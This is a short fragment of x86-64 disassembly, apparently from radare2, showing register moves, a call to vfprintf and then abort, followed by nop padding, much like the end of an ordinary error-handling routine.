mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]